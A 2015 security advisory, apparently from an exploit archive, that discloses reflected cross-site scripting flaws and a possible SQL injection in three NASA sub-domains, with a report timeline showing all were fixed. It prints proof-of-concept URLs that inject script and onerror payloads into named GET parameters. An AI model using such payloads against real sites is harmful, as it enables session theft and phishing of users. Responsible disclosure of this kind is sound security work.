NASA.gov Cross Site Scripting

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# Exploit Title: NASA.gov sub-domains Multiple vulnerabilities  
# Date: 27/01/2015  
# Author: Yann CAM @ Synetis - ASafety  
# Vendor or Software Link: www.nasa.gov  
# Version: /  
# Category: Multiple vulnerabilities  
# Google dork:  
# Tested on: NASA.gov sub-domains  
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NASA description :  
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The National Aeronautics and Space Administration (NASA) is the United States government agency responsible for the civilian space program as well as   
aeronautics and aerospace research.  
  
There are several sub-domains and independent projects within NASA.  
Those affected by this advisory are :  
  
- Planetary Data System (PDS) : Reflected Cross-Site Scripting (RXSS)  
- NASA’s Archive of Data on Energetic Phenomena (HEASARC) : Reflected Cross-Site Scripting (RXSS)  
- Direct Readout Laboratory (directreadout) de la NASA : Reflected Cross-Site Scripting (RXSS) and potential SQLi.  
  
  
Vulnerability description :  
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Reflected XSS are available in each nasa.gov sub-domain above.  
Through this kind of vulnerability, an attacker could tamper with page rendering, redirect victims to fake NASA portals, or capture NASA's users credentials such cookies.   
These reflected XSS are on GET variables and are not properly sanitized before being used in pages.  
  
  
Planetary Data System (PDS) - pds.nasa.gov - PoC :  
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A non-persistent XSS (RXSS) in "INSTRUMENT_HOST_ID" GET param is available in the pds.nasa.gov sub-domain.  
Tested on Firefox 33.0.  
  
PoC:  
  
http://pds.nasa.gov/ds-view/pds/viewHostProfile.jsp?INSTRUMENT_HOST_ID=NH<img src='x' onerror='alert(/Reflected XSS - Yann CAM @ASAfety/)' />  
  
  
NASA’s Archive of Data on Energetic Phenomena (HEASARC) - heasarc.gsfc.nasa.gov - PoC :  
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A non-persistent XSS (RXSS) in "sid" GET param is available in the heasarc.gsfc.nasa.gov sub-domain.  
Tested on Firefox 33.0.  
  
PoC:  
  
http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=details&sid=1337<script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653&switch=no  
  
http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=oldtests&sid=1337'><script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653  
  
  
Direct Readout Laboratory (directreadout) - directreadout.sci.gsfc.nasa.gov - PoC :  
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A non-persistent XSS (RXSS) and potential SQLi in "cid" GET param is available in the directreadout.sci.gsfc.nasa.gov sub-domain.  
Tested on Firefox 33.0.  
  
PoC:  
  
http://directreadout.sci.gsfc.nasa.gov/?id=dspContent&cid=159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' />  
  
Error in source code :  
  
Diagnostics:<br>  
Invalid data 159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' /> for CFSQLTYPE CF_SQL_INTEGER. <br>The error occurred on line 13.  
  
  
Screenshots :  
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- http://www.asafety.fr/data/20140824-nasa001.png  
- http://www.asafety.fr/data/20140824-nasa002.png  
- http://www.asafety.fr/data/20140824-nasa003.png  
- http://www.asafety.fr/data/20140824-nasa004.png  
- http://www.asafety.fr/data/20140824-nasa005.png  
  
  
Solution:  
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Fixed by each NASA Portal's team.  
  
  
Additional resources :  
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- http://www.nasa.gov/  
- http://pds.nasa.gov/  
- http://heasarc.gsfc.nasa.gov/  
- http://directreadout.sci.gsfc.nasa.gov/  
- http://www.asafety.fr/vuln-exploit-poc/contribution-nasa-sous-domaines-multiples-vulnerabilites/  
- http://www.synetis.com  
  
  
Report timeline :  
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2014-10-31 : Each NASA Portal's team was alerted by email.  
2014-10-31 : PDS team feedback with thanks.  
2014-11-04 : PDS and HEASEARC portals fixed.  
2014-12-04 : Second email to DRL team to get a status.  
2014-12-27 : Account creation on DRL portal to send tp the DRL team through contact form.  
2015-01-07 : DRL portal seems to be fixed. All vulnerabilities are fixed on each portal.  
2015-01-27 : Public advisory  
  
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